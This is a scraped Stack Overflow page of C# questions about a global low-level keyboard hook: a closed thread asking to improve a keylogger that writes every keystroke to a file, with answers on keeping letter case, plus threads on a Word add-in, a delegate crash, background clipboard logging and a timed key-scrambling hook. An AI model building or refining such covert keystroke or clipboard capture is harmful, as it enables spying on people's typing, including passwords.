Help modifying a Keylogger application [closed] - c#

It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 12 years ago.
I got this application from the internet and I want to add some modifications. Unfortunately, I don't know what to do. This application is a simple Keylogger that saves the log in a text file.
*After reading the text file after the keylogging occurred, i noticed it had the words all in Upper Case, and for punctuation such as SPACE or ENTER, the word space and enter was used.
Can anyone please modify the code to save the exact casing of the character? I can't fairly understand the code.... thanks.
Form1.cs
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using Utilities;
namespace Key_Logger
{
/// <summary>
/// Summary description for Form1.
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
private System.Windows.Forms.ListBox listBox1;
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.Container components = null;
globalKeyboardHook gkh = new globalKeyboardHook();
private void HookAll()
{
foreach (object key in Enum.GetValues(typeof(Keys)))
{
gkh.HookedKeys.Add((Keys)key);
}
}
private void Form1_Load(object sender, EventArgs e)
{
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
HookAll();
if (File.Exists(#"Keylogger.txt"))
{
File.Delete(#"Keylogger.txt");
}
}
void gkh_KeyDown(object sender, KeyEventArgs e)
{
StreamWriter SW = new StreamWriter(#"Keylogger.txt", true);
SW.Write(e.KeyCode);
SW.Close();
}
public Form1()
{
//
// Required for Windows Form Designer support
//
InitializeComponent();
//
// TODO: Add any constructor code after InitializeComponent call
//
}
/// <summary>
/// Clean up any resources being used.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
//Windows Form Designer generated code
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
}
}
globalKeyboardHook.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Utilities {
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook {
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct {
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
public bool _hookAll = false;
public bool HookAllKeys
{
get
{
return _hookAll;
}
set
{
_hookAll = value;
}
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
keyboardHookProc khp;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
khp = new keyboardHookProc(hookProc);
hook();
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook() {
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, khp, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook() {
UnhookWindowsHookEx(hhook);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
if (_hookAll ? true : HookedKeys.Contains(key))
{
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
{
KeyDown(this, kea);
}
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
{
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
#endregion
}
}

The key-logger is doing just that: logging keystrokes. In Form1.Form1_Load, it's registering gkh_keyDown as the handler for every time a key is pressed. Importantly, there's no handler for when a key is released- there's nothing set to watch for the event gkh_keyUp. But the root GlobalKeyboardHook library does provide those events.
You'll need to write a new function (possibly gkh_keyUp) to handle keyUp events. That's the only way to know when anybody has let go of a shift key.
If all you care about is SHIFT+letters, and when Ctrl or Alt is released, you'll need to do the following:
Add a bool for whether or not SHIFT is currently pressed.
Set the flag whenever SHIFT is found to be the key on a Key Down event. Clear it whenever it's the key on Key Up.
Whenever the key string is "SPACE", detect a space instead.
If the SHIFT flag isn't set, use String.ToLower() when writing the key letter to the file; leave it as-is (in caps) if it's unset.
If key-up receives Ctrl or Alt, make it print (-CTRL) or (-ALT) to represent the key being released. Other than changing the SHIFT flag, the key-up handler should probably be blank.
This isn't that big a rewrite, but rewriting it in place in this comment box felt like a bit much. Relevant things are that you don't need to change GlobalKeyboardHook.cs at all, and you should read the C# reference on events, event handling, and delegates to understand what's going on in Form1_Load, if you aren't sure how to register the key-up event.

The important part is this line:
SW.Write(e.KeyCode);
Notice that e.KeyCode is of type KeyCode which is an enum. This enum has values such as A for the “A” key, Space for the spacebar, etc. Calling SW.Write with this will turn the enum value into a string containing its name and write that to the file.
Looks like your global keyboard hook does not provide any functionality to turn this KeyCode into an actual character. Implementing that is very hard: the character typed depends not only on what other keys are being pressed at the same time (e.g. Shift or AltGr), but also on the current keyboard layout. The user could have several different keyboard layouts installed and switch between them all the time.

Related

How To Access KeyUp, KeyDown Events in VSTO Words Add-In?

My question is simple and you can say it as duplicate but its not like that as I want to detect key press events like KeyUp, KeyDown in VSTO Words Add-In while development using C# in VisualStudio2015 and run other functions as per KeyCode.
As per MSDN documentation, there are no such events for VSTO Add-In but they are giving some others events thats are like them as Document.SelectionChange Event and ApplicationEvents4_Event.WindowSelectionChange event but they are not as per requirements.
So is there any way to make it as per my question in easy way using C#...???
What I have read:
There are many related questions asked on StackOverflow but none of them is as per my question.
Detecting text changes in Word 2016 from VSTO add-in
MS Word's Add-in TextChange Event in C#
How to get the “KeyPress” event from a Word 2010 Addin (developed in
C#)?
Capturing keydown event of MS Word using C#
How to raise an event on MS word Keypress
How to trap keypress event in MSword using VSTO?
What I am trying:
I am trying the below code shared at A Simple C# Global Low Level Keyboard Hook and this one is working fine but only capturing events when clicked outside the Microsoft Word. Its not capturing event while typing in Word. I also want to just capture and run my own functions on events and don't want to interpt his own function like typing letters or etc.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Word = Microsoft.Office.Interop.Word;
using Office = Microsoft.Office.Core;
using Microsoft.Office.Tools.Word;
// Added Extra Namespaces
using System.Windows.Forms;
using Utilities;
namespace WordAddIn1
{
public partial class ThisAddIn
{
globalKeyboardHook gkh = new globalKeyboardHook();
private void ThisAddIn_Startup(object sender, System.EventArgs e)
{
gkh.HookedKeys.Add(Keys.A);
gkh.HookedKeys.Add(Keys.B);
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp += new KeyEventHandler(gkh_KeyUp);
}
private void ThisAddIn_Shutdown(object sender, System.EventArgs e)
{
gkh.KeyDown -= new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp -= new KeyEventHandler(gkh_KeyUp);
}
void gkh_KeyUp(object sender, KeyEventArgs e)
{
MessageBox.Show("Up\t" + e.KeyCode.ToString());
e.Handled = true;
}
void gkh_KeyDown(object sender, KeyEventArgs e)
{
MessageBox.Show("Down\t" + e.KeyCode.ToString());
e.Handled = true;
}
#region VSTO generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InternalStartup()
{
this.Startup += new System.EventHandler(ThisAddIn_Startup);
this.Shutdown += new System.EventHandler(ThisAddIn_Shutdown);
}
#endregion
}
}
and my main class file is...
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Utilities
{
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook
{
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
hook();
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook()
{
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook()
{
UnhookWindowsHookEx(hhook);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
if (HookedKeys.Contains(key))
{
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
{
KeyDown(this, kea);
}
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
{
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
#endregion
}
}
Everthing should work fine if you don't use a low-level hook in your VSTO add-in.
For a working example please see my answer to the following question:
Detecting text changes in Word 2016 from VSTO add-in
In the example, you need to adjust the hook callback function to also respond to WM_KEYUP messages (currently the sample only reacts to WM_KEYDOWN events).
If you do not want to interfere with the default behavior of the key events (i.e. you still want the typed text to appear etc) you have to make absolutely sure to call CallNextHookEx in any case (this is currently not happening in your code).

Exception when event is raised with GC'd handler [duplicate]

I have been using this key hook script i found but I continue to get an error after a few seconds of using it in my program. The error says.. A call has been made on a garbage collected delegate 'keylogger!Utilities.globalKeyboardHook+keyboardHookProc::Invoke'.
How can I fix this?
namespace Utilities
{
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook
{
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
hook();
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook()
{
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook()
{
UnhookWindowsHookEx(hhook);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
if (HookedKeys.Contains(key))
{
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
{
KeyDown(this, kea);
}
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
{
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
#endregion
}
}
globalKeyboardHook class :
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.IO;
namespace Utilities
{
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook : IDisposable
{
private bool _disposed;
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
hook();
_disposed = false;
}
public void Dispose()
{
Dispose(true);
// Use SupressFinalize in case a subclass
// of this type implements a finalizer.
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
// If you need thread safety, use a lock around these
// operations, as well as in your methods that use the resource.
if (!_disposed)
{
if (disposing)
{
unhook();
}
// Indicate that the instance has been disposed.
_disposed = true;
}
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook()
{
Dispose();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, new keyboardHookProc(hookProc), hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook()
{
UnhookWindowsHookEx(hhook);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
if (HookedKeys.Contains(key))
{
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
{
KeyDown(this, kea);
}
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
{
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
#endregion
}
}
I updated the code with IDisposable. I am probably horribly off on what I am supposed to do but its still not working
The problem is that:
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
is just syntactic sugar for:
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, new keyboardHookProc(hookProc), hInstance, 0);
and so the keyboardHookProc object is just local and will get disposed of since SetWindowsHookEx doesn't do anything to actually hold onto it in the managed world.
To fix this, up at the top where you define your member variables, add one more like this:
IntPtr hhook = IntPtr.Zero
private keyboardHookProc hookProcDelegate;
then change your constructor to be:
public globalKeyboardHook()
{
hookProcDelegate = hookProc;
hook();
}
and then change your hook() method to be:
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProcDelegate, hInstance, 0);
}
That way you're using a delegate that is stored as a member variable and will be alive as long as your globalKeyboardHook object is alive.
Sounds to me like you are instantiating a globalKeyboardHook then letting it get garbage collected. I'm guessing you do something like this:
public void InstallHook()
{
var hook = new globalKeyboardHook();
}
You need to keep a reference to the globalKeyboardHook() around to prevent it from being garbage collected.
globalKeyboardHook hook;
public void InstallHook()
{
hook = new globalKeyboardHook();
}
I'd like to add this, for future reference, as it may help understanding Tim's answer, and maybe debugging what's going on, if you have complex code:
callbackOnCollectedDelegate MDA
https://learn.microsoft.com/en-us/dotnet/framework/debug-trace-profile/callbackoncollecteddelegate-mda
even though with the new code I am still getting the mentioned error, as a solution I just kept an instance of the delegate at class scope, now the error does not come up anymore.
//do not forget to declare kbhproc class var
this.kbhProc = new keyboardHookProc(hookProc);
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, this.kbhProc /*new keyboardHookProc(hookProc)*/, hInstance, 0);
the above code is based on the code of the question.

Press ctrl + c and save it to a texbox

I think I got Clipboard wrong but I would like to know or get a tip how I would need to implement this. I would like to have this program running in the background and every time I copy something it ends up in the program. That way if I would like to go back in time to see what I copied 10 min ago I'll find it in the program. So I guess I need to save it in a text file. How do I got about implementing this?
C# can't normally raise events when the clipboard changes. You can read data from the clipboard, and you could busy-wait polling the clipboard, but those seem non-optimal to me.
However, with a little bit of extern usage, you should be able to get what you want. In a class which subclasses Form:
/// <summary>
/// Message id for data being copied to the clipboard
/// </summary>
/// <value>776</value>
private const int WM_DRAWCLIPBOARD = 0x0308;
/// <summary>
/// Message id for a window being removed from the viewer chain
/// </summary>
/// <value>781</value>
private const int WM_CHANGECBCHAIN = 0x030D;
/// <summary>
/// Message id for the window being destroyed
/// </summary>
/// <value>2</value>
private const int WM_DESTROY = 0x0002;
/// <summary>
/// The next window in the clipboard viewer chain
/// </summary>
private IntPtr nextClipboardViewer;
/// <summary>
/// Adds the specified window to the chain of clipboard viewers. Clipboard viewer windows receive a <c>WM_DRAWCLIPBOARD</c>
/// message whenever the content of the clipboard changes.
/// </summary>
/// <param name="hWnd">A handle to the window to be added to the clipboard chain.</param>
/// <returns>If the function succeeds, the return value identifies the next window in the clipboard viewer chain. If an
/// error occurs or there are no other windows in the clipboard viewer chain, the return value is <c>null</c>.</returns>
[DllImport("User32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr SetClipboardViewer(IntPtr hWnd);
/// <summary>
/// Removes a specified window from the chain of clipboard viewers.
/// </summary>
/// <param name="hWndRemove">A handle to the window to be removed from the chain. The handle must have been passed to the
/// <see cref="SetClipboardViewer"/> function.</param>
/// <param name="hWndNewNext">A handle to the window that follows the <paramref name="hWndRemove"/> window in the clipboard
/// viewer chain. (This is the handle returned by <see cref="SetClipboardViewer"/>, unless the sequence was changed in response
/// to a <c>WM_CHANGECBCHAIN</c> message.)</param>
/// <returns>The return value indicates the result of passing the <c>WM_CHANGECBCHAIN</c> message to the windows in the
/// clipboard viewer chain. Because a window in the chain typically returns <c>false</c> when it processes <c>WM_CHANGECBCHAIN</c>,
/// the return value from <see cref="ChangeClipboardChain"/> is typically <c>false</c>. If there is only one window in the chain,
/// the return value is typically <c>true</c>.</returns>
[DllImport("User32.dll", CharSet = CharSet.Auto)]
public static extern bool ChangeClipboardChain(IntPtr hWndRemove, IntPtr hWndNewNext);
/// <summary>
/// Sends the specified message to a window or windows. The <c>SendMessage</c> function calls the window
/// procedure for the specified window and does not return until the window procedure has processed the message.
/// </summary>
/// <param name="hwnd">A handle to the window whose window procedure will receive the message.</param>
/// <param name="wMsg">The message to be sent.</param>
/// <param name="wParam">Additional message-specific information.</param>
/// <param name="lParam">Additional message-specific information.</param>
/// <returns>The return value specifies the result of the message processing; it depends on the message sent.</returns>
[DllImport("User32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr SendMessage(IntPtr hwnd, int wMsg, IntPtr wParam, IntPtr lParam);
/// <inheritdoc/>
protected override void WndProc(ref Message m)
{
if (m.Msg == WM_DRAWCLIPBOARD)
{
// The user copied something to the clipboard
IDataObject clipData = Clipboard.GetDataObject();
if (clipData.GetDataPresent(DataFormats.Text))
{
// Copied data is text
}
SendMessage(nextClipboardViewer, m.Msg, m.WParam, m.LParam);
}
// Handle necessary native clipboard stuff
else if (m.Msg == WM_DESTROY)
{
// Remove MyForm from the clipboard chain
ChangeClipboardChain(this.Handle, nextClipboardViewer);
}
else if (m.Msg == WM_CHANGECBCHAIN)
{
if (m.WParam == nextClipboardViewer)
{
nextClipboardViewer = m.LParam;
}
else
{
SendMessage(nextClipboardViewer, m.Msg, m.WParam, m.LParam);
}
}
else
{
base.WndProc(ref m);
}
}
private void MyForm_Load(object sender, EventArgs e)
{
// Include MyForm in the clipboard chain
nextClipboardViewer = SetClipboardViewer(this.Handle);
}
Make sure MyForm_Load is added as an appropriate event on the Form (most easily from the designer window).

Low level keyboard hook on a timer

I have a keyboard hook that intercepts the keys and outputs a random letter. What I want to do is set up a timer and have the keyboard unhook after one minute then in another minute hook itself back up. So the first part works, it hooks up on start and after one minute it unhooks, but then never hooks up again. How could I get it to re-hook after being unhooked?
Here's is the hook code:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Utilities {
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook {
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct {
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
